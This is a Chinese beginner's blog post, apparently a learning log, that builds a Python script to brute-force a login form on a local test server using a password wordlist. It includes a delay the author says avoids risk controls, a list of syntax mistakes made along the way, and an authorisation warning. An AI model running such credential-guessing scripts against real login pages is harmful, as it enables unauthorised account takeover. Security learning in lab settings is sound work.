前言:
上一篇我们搞定了GET请求的存活探测。但真实的渗透场景中,我们经常会遇到登录框。这时候就需要用POST请求来提交表单数据。今天这篇文章,记录了我如何从零写出一个基础的“登录框弱口令探测脚本”。
一、核心代码拆解
1. 构造POST请求
和GET请求不同,POST请求需要用 data 参数来传递表单数据:
import requests import time url = "http://127.0.0.1:8000/login.php" data = { "username": "admin", "password": "123456" } headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } response = requests.post(url, data=data, headers=headers, timeout=5) print(f"状态码:{response.status_code}") print(f"响应长度:{len(response.text)}")核心思想:通过对比登录成功和失败时,返回的“状态码”和“响应长度”的差异,来判断密码是否正确。
2. 读取字典文件
为了批量尝试密码,我们需要从外部读取一个密码字典:
with open("passwords.txt", "r") as f: passwords = f.read().splitlines()把密码写在单独的 passwords.txt 文件里(每行一个),比硬编码在代码里更方便。
3. 循环爆破(for循环)
把字典里的密码逐个取出来,提交给登录框:
for pwd in passwords: time.sleep(1) # 每次尝试间隔1秒,防止触发风控 data = { "username": "admin", "password": pwd } try: response = requests.post(url, data=data, headers=headers, timeout=5) print(f"[*] 尝试密码:{pwd} | 状态码:{response.status_code} | 长度:{len(response.text)}") except: print(f"[!] 请求失败:{pwd}")该脚本运行反馈:
运行脚本后它自动读取了字典里的弱口令逐个提交给登录框,虽然本地服务器反馈501,但是也证明了逻辑没有问题,以后换成支持post的靶场就能直接看到结果
二、踩坑记录
1. data 字典少逗号:"username": "admin" 后面忘加逗号,导致后面的 "password" 报错SyntaxError。这个坑和上一篇的“缺逗号”一模一样。
2. 漏了冒号:"password" 和 "123456" 之间的冒号没写,同样报语法错误。
3. 忘记 import time:这次又忘了导入 time,导致 time.sleep 报 NameError。
这个脚本仅用于在本地靶场或已获得授权的环境中测试!
未经授权,绝对不能用它去尝试任何真实网站的登录框。爆破真实目标属于攻击行为,会承担法律责任。白帽子和黑帽子的区别,不在于技术,而在于“授权”和“底线”。